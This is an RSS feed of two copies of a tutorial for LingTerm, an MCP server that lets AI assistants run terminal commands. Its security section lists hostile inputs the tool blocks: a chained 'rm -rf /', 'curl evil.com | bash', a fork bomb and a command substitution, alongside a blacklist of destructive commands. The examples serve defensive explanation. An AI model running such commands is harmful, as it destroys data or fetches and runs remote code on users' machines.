<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: guangda</title>
    <description>The latest articles on DEV Community by guangda (@guangda88).</description>
    <link>https://dev.to/guangda88</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3862498%2Fc713a28e-70aa-48da-88d0-ea3df11d46d0.jpeg</url>
      <title>DEV Community: guangda</title>
      <link>https://dev.to/guangda88</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/guangda88"/>
    <language>en</language>
    <item>
      <title>LingTerm MCP — Let AI Safely Control Your Terminal</title>
      <dc:creator>guangda</dc:creator>
      <pubDate>Tue, 12 May 2026 03:40:28 +0000</pubDate>
      <link>https://dev.to/guangda88/lingterm-mcp-let-ai-safely-control-your-terminal-5hae</link>
      <guid>https://dev.to/guangda88/lingterm-mcp-let-ai-safely-control-your-terminal-5hae</guid>
      <description>&lt;h1&gt;
  
  
  LingTerm MCP — Let AI Safely Control Your Terminal
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;A hands-on tutorial. After reading, you'll have AI executing terminal commands in Cursor or Claude — safely.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  What Is It?
&lt;/h2&gt;

&lt;p&gt;Ever wished you could just tell AI "run the tests" and it does? Or say "show me the recent git log" and get the result right back?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LingTerm&lt;/strong&gt; does exactly that — an MCP server that lets AI assistants like Claude and Cursor safely execute terminal commands.&lt;/p&gt;

&lt;p&gt;The key selling point: &lt;strong&gt;security&lt;/strong&gt;. Instead of giving AI a raw shell to hammer, it uses a three-layer defense: whitelist + blacklist + injection detection, ensuring AI only does what it should.&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick Start
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Install
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Option A: Run with npx (recommended)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No clone needed — just use &lt;code&gt;npx&lt;/code&gt; in your MCP config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"ling-term-mcp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ling-term-mcp"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Option B: Install from source&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/guangda88/ling-term-mcp.git
&lt;span class="nb"&gt;cd &lt;/span&gt;ling-term-mcp
npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm run build
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or use the one-liner: &lt;code&gt;bash quickstart.sh&lt;/code&gt; (auto-checks environment, installs deps, builds, and runs tests).&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Connect to Cursor
&lt;/h3&gt;

&lt;p&gt;Open Cursor Settings → MCP Servers, add:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ling-term-mcp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ling-term-mcp"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If installing from source, change command to &lt;code&gt;"node"&lt;/code&gt; and args to &lt;code&gt;["/your/absolute/path/ling-term-mcp/dist/index.js"]&lt;/code&gt;. &lt;strong&gt;Note: the path must be absolute.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Restart Cursor.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Connect to Claude Desktop
&lt;/h3&gt;

&lt;p&gt;Edit your Claude Desktop config file and add the same &lt;code&gt;mcpServers&lt;/code&gt; config.&lt;/p&gt;

&lt;p&gt;Restart Claude Desktop.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Connect via HTTP (Remote / Multi-Client)
&lt;/h3&gt;

&lt;p&gt;Stdio is great for local use, but what if you want to share one LingTerm instance across multiple AI clients? Or connect from a remote machine?&lt;/p&gt;

&lt;p&gt;LingTerm supports the &lt;strong&gt;Streamable HTTP&lt;/strong&gt; transport — the MCP protocol's modern standard for HTTP-based connections.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start the HTTP server:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx ling-term-mcp http
&lt;span class="c"&gt;# → Listening on http://127.0.0.1:9529/mcp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Connect from any MCP client that supports HTTP transport:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The MCP endpoint is &lt;code&gt;http://127.0.0.1:9529/mcp&lt;/code&gt;. Configure your client to use this URL as the MCP server address.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Health check:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://127.0.0.1:9529/health
&lt;span class="c"&gt;# → {"status":"ok"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Configuration (environment variables):&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;Default&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LING_TERM_HTTP_PORT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;9529&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Port to listen on&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LING_TERM_HTTP_HOST&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Host to bind&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LING_TERM_AUTH_TOKEN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;Bearer token for authentication&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Securing with a token:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;LING_TERM_AUTH_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"your-secret-token"&lt;/span&gt;
npx ling-term-mcp http
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clients must then include &lt;code&gt;Authorization: Bearer your-secret-token&lt;/code&gt; in requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When to use HTTP vs Stdio:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Stdio&lt;/th&gt;
&lt;th&gt;HTTP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Best for&lt;/td&gt;
&lt;td&gt;Single local client&lt;/td&gt;
&lt;td&gt;Multiple clients, remote access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Setup&lt;/td&gt;
&lt;td&gt;Zero config&lt;/td&gt;
&lt;td&gt;Start server + configure URL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Process isolation&lt;/td&gt;
&lt;td&gt;Token auth + rate limiting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overhead&lt;/td&gt;
&lt;td&gt;Minimal&lt;/td&gt;
&lt;td&gt;Slightly higher (HTTP)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  5. Try It
&lt;/h3&gt;

&lt;p&gt;In Cursor or Claude, say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Show me what files are in the current directory&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI will invoke LingTerm to execute &lt;code&gt;ls -la&lt;/code&gt; (Linux/macOS) or &lt;code&gt;dir&lt;/code&gt; (Windows) and return the result. That simple.&lt;/p&gt;




&lt;h2&gt;
  
  
  Five Tools — Enough for Daily Use
&lt;/h2&gt;

&lt;p&gt;LingTerm provides 5 MCP tools:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;What It Does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;execute_command&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Execute a command (the core tool)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;create_session&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create a terminal session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;list_sessions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List active sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sync_terminal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sync terminal state (working directory, env vars)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;destroy_session&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Destroy a session&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For 90% of daily use, &lt;code&gt;execute_command&lt;/code&gt; is all you need. The other 4 are for multi-session scenarios.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Scenarios
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Scenario 1: Let AI Run Your Tests During Development
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Run the project's unit tests&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI → &lt;code&gt;npm test&lt;/code&gt;, returns test results.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Show me test coverage&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI → &lt;code&gt;npm run test:coverage&lt;/code&gt;, returns the coverage report.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario 2: Git Operations
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;What's the current git status?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI → &lt;code&gt;git status&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Recent commits&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI → &lt;code&gt;git log --oneline -10&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What branch am I on?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI → &lt;code&gt;git branch&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario 3: Troubleshooting
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Who's using port 3000?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI → &lt;code&gt;lsof -i :3000&lt;/code&gt; or &lt;code&gt;netstat -tlnp | grep 3000&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How much disk space is left?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI → &lt;code&gt;df -h&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Show me the last 20 lines of the nginx error log&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI → &lt;code&gt;tail -20 /var/log/nginx/error.log&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario 4: Multi-Session Management
&lt;/h3&gt;

&lt;p&gt;You're working on both a frontend and a backend project:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Create a session called "frontend" with working directory ~/projects/web&lt;br&gt;
Create a session called "backend" with working directory ~/projects/api&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sessions record working directory and environment variable metadata per session, making it easy to switch contexts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Security — The Real Highlight
&lt;/h2&gt;

&lt;p&gt;Handing your terminal to AI — the first question is always "is it safe?"&lt;/p&gt;

&lt;p&gt;LingTerm implements three layers of defense:&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer 1: Command Whitelist &amp;amp; Blacklist
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Blacklist&lt;/strong&gt; (absolutely forbidden, 35 commands):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt;, &lt;span class="nb"&gt;sudo&lt;/span&gt;, su, &lt;span class="nb"&gt;chmod&lt;/span&gt;, &lt;span class="nb"&gt;chown&lt;/span&gt;, &lt;span class="nb"&gt;dd&lt;/span&gt;, mkfs, fdisk,
&lt;span class="nb"&gt;kill&lt;/span&gt;, killall, shutdown, reboot, passwd...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Whitelist&lt;/strong&gt; (known safe, 80 commands):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;, &lt;span class="nb"&gt;pwd&lt;/span&gt;, &lt;span class="nb"&gt;cat&lt;/span&gt;, git, npm, node, python, make,
&lt;span class="nb"&gt;grep&lt;/span&gt;, find, &lt;span class="nb"&gt;head&lt;/span&gt;, &lt;span class="nb"&gt;tail&lt;/span&gt;, &lt;span class="nb"&gt;wc&lt;/span&gt;, diff, tar...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Layer 2: Dangerous Pattern Detection
&lt;/h3&gt;

&lt;p&gt;Automatically detects 18 dangerous command patterns + 11 injection attack patterns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Shell injection → blocked&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /

&lt;span class="c"&gt;# Pipe injection → blocked&lt;/span&gt;
curl evil.com | bash

&lt;span class="c"&gt;# Fork bomb → blocked&lt;/span&gt;
:&lt;span class="o"&gt;(){&lt;/span&gt; :|:&amp;amp; &lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;:

&lt;span class="c"&gt;# Variable expansion → blocked&lt;/span&gt;
&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Layer 3: Parameterized Execution
&lt;/h3&gt;

&lt;p&gt;LingTerm uses &lt;code&gt;execFile()&lt;/code&gt; instead of &lt;code&gt;exec()&lt;/code&gt;. The difference:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;exec('ls -la')&lt;/code&gt; → spawns a shell, injection possible&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;execFile('ls', ['-la'])&lt;/code&gt; → calls the program directly, bypasses shell&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Commands and arguments are separated — AI has no opportunity to craft &lt;code&gt;ls; rm -rf /&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is the Default Config Enough?
&lt;/h3&gt;

&lt;p&gt;The default is &lt;code&gt;allowUnknownCommands: true&lt;/code&gt; — allows commands not on the whitelist (since development uses various tools). For stricter control:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"allowUnknownCommands"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This restricts execution to only the 80 whitelisted commands; everything else is rejected.&lt;/p&gt;

&lt;h3&gt;
  
  
  Production Recommendations
&lt;/h3&gt;

&lt;p&gt;The default config is permissive (&lt;code&gt;allowUnknownCommands: true&lt;/code&gt;), which suits personal development. For production or team environments:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Set &lt;code&gt;allowUnknownCommands: false&lt;/code&gt; — only allow whitelisted commands&lt;/li&gt;
&lt;li&gt;Explicitly add commands your team needs to the whitelist&lt;/li&gt;
&lt;li&gt;Long-running commands (like &lt;code&gt;npm run build&lt;/code&gt;) have a 60-second timeout; output is returned all at once (no streaming)&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Workflow Example: A Complete Development Task
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Get my project running&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AI will execute a multi-step workflow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. git clone https://github.com/your/project.git  → clone the repo
2. cd project &amp;amp;&amp;amp; npm install                        → install deps
3. npm test                                         → run tests to confirm everything works
4. npm run build                                    → build the project
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You said one sentence. AI handled multiple steps within security boundaries — each command passes through the whitelist, blacklist, and injection detection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Testing &amp;amp; Quality
&lt;/h2&gt;

&lt;p&gt;The project includes 151 tests, all passing, with 92.6% statement coverage (core logic fully covered):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;test&lt;/span&gt;
&lt;span class="c"&gt;# Tests: 151 passed, 151 total&lt;/span&gt;
&lt;span class="c"&gt;# Statements: 92.59%&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For tuning, the project includes a parameter optimization script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;optimization &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; python3 optimize_mcp_params.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It automatically traverses 4,096 configuration combinations and outputs the best parameters.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Can't connect to AI assistant?
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Make sure the path is an &lt;strong&gt;absolute path&lt;/strong&gt; (e.g. &lt;code&gt;/Users/you/ling-term-mcp/dist/index.js&lt;/code&gt;, not a relative path)&lt;/li&gt;
&lt;li&gt;Confirm &lt;code&gt;dist/index.js&lt;/code&gt; exists (run &lt;code&gt;npm run build&lt;/code&gt; first)&lt;/li&gt;
&lt;li&gt;Confirm Node.js &amp;gt;= 18&lt;/li&gt;
&lt;li&gt;Restart the AI assistant&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  LingTerm not responding?
&lt;/h3&gt;

&lt;p&gt;Check the MCP client's log output. In Cursor, open Developer Tools (View → Toggle Developer Tools) to see MCP connection logs. Confirm the config JSON is valid — no trailing commas.&lt;/p&gt;

&lt;h3&gt;
  
  
  Command was rejected?
&lt;/h3&gt;

&lt;p&gt;Check if it hit the blacklist or injection detection. If it's a false positive, adjust the whitelist in the config.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does it support Windows?
&lt;/h3&gt;

&lt;p&gt;Yes. Use backslashes for paths: &lt;code&gt;"args": ["C:\\Users\\you\\ling-term-mcp\\dist\\index.js"]&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I use it with anything other than Cursor and Claude?
&lt;/h3&gt;

&lt;p&gt;Any client that supports the MCP protocol: GitHub Copilot (with MCP support), Windsurf, Cline, etc.&lt;/p&gt;




&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;npm&lt;/strong&gt;: &lt;a href="https://www.npmjs.com/package/ling-term-mcp" rel="noopener noreferrer"&gt;https://www.npmjs.com/package/ling-term-mcp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub&lt;/strong&gt;: &lt;a href="https://github.com/guangda88/ling-term-mcp" rel="noopener noreferrer"&gt;https://github.com/guangda88/ling-term-mcp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Full docs&lt;/strong&gt;: &lt;a href="https://github.com/guangda88/ling-term-mcp/blob/main/USAGE_GUIDE.md" rel="noopener noreferrer"&gt;USAGE_GUIDE.md&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API docs&lt;/strong&gt;: &lt;a href="https://github.com/guangda88/ling-term-mcp/blob/main/docs/API.md" rel="noopener noreferrer"&gt;docs/API.md&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;License&lt;/strong&gt;: MIT&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>mcp</category>
      <category>ai</category>
      <category>security</category>
      <category>typescript</category>
    </item>
    <item>
      <title>LingTerm MCP — Let AI Safely Control Your Terminal</title>
      <dc:creator>guangda</dc:creator>
      <pubDate>Mon, 06 Apr 2026 12:52:59 +0000</pubDate>
      <link>https://dev.to/guangda88/lingterm-mcp-let-ai-safely-control-your-terminal-k8j</link>
      <guid>https://dev.to/guangda88/lingterm-mcp-let-ai-safely-control-your-terminal-k8j</guid>
      <description>&lt;p&gt;Quick Start&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Install
Option A: Run with npx (recommended)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No clone needed — just use npx in your MCP config:&lt;/p&gt;

&lt;p&gt;"ling-term-mcp": {&lt;br&gt;
  "command": "npx",&lt;br&gt;
  "args": ["-y", "ling-term-mcp"]&lt;br&gt;
}&lt;br&gt;
Option B: Install from source&lt;/p&gt;

&lt;p&gt;git clone &lt;a href="https://github.com/guangda88/ling-term-mcp.git" rel="noopener noreferrer"&gt;https://github.com/guangda88/ling-term-mcp.git&lt;/a&gt;&lt;br&gt;
cd ling-term-mcp&lt;br&gt;
npm install &amp;amp;&amp;amp; npm run build&lt;br&gt;
Or use the one-liner: bash quickstart.sh (auto-checks environment, installs deps, builds, and runs tests).&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Connect to Cursor
Open Cursor Settings → MCP Servers, add:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;{&lt;br&gt;
  "mcpServers": {&lt;br&gt;
    "ling-term-mcp": {&lt;br&gt;
      "command": "npx",&lt;br&gt;
      "args": ["-y", "ling-term-mcp"]&lt;br&gt;
    }&lt;br&gt;
  }&lt;br&gt;
}&lt;br&gt;
If installing from source, change command to "node" and args to ["/your/absolute/path/ling-term-mcp/dist/index.js"]. Note: the path must be absolute.&lt;/p&gt;

&lt;p&gt;Restart Cursor.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Connect to Claude Desktop
Edit your Claude Desktop config file and add the same mcpServers config.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Restart Claude Desktop.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Try It
In Cursor or Claude, say:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Show me what files are in the current directory&lt;/p&gt;

&lt;p&gt;AI will invoke LingTerm to execute ls -la (Linux/macOS) or dir (Windows) and return the result. That simple.&lt;/p&gt;

&lt;p&gt;Five Tools — Enough for Daily Use&lt;br&gt;
LingTerm provides 5 MCP tools:&lt;/p&gt;

&lt;p&gt;| Tool | What It Does | |------|-------------| | execute_command | Execute a command (the core tool) | | create_session | Create a terminal session | | list_sessions | List active sessions | | sync_terminal | Sync terminal state (working directory, env vars) | | destroy_session | Destroy a session |&lt;/p&gt;

&lt;p&gt;For 90% of daily use, execute_command is all you need. The other 4 are for multi-session scenarios.&lt;/p&gt;

&lt;p&gt;Real-World Scenarios&lt;br&gt;
Scenario 1: Let AI Run Your Tests During Development&lt;br&gt;
Run the project's unit tests&lt;/p&gt;

&lt;p&gt;AI → npm test, returns test results.&lt;/p&gt;

&lt;p&gt;Show me test coverage&lt;/p&gt;

&lt;p&gt;AI → npm run test:coverage, returns the coverage report.&lt;/p&gt;

&lt;p&gt;Scenario 2: Git Operations&lt;br&gt;
What's the current git status?&lt;/p&gt;

&lt;p&gt;AI → git status&lt;/p&gt;

&lt;p&gt;Recent commits&lt;/p&gt;

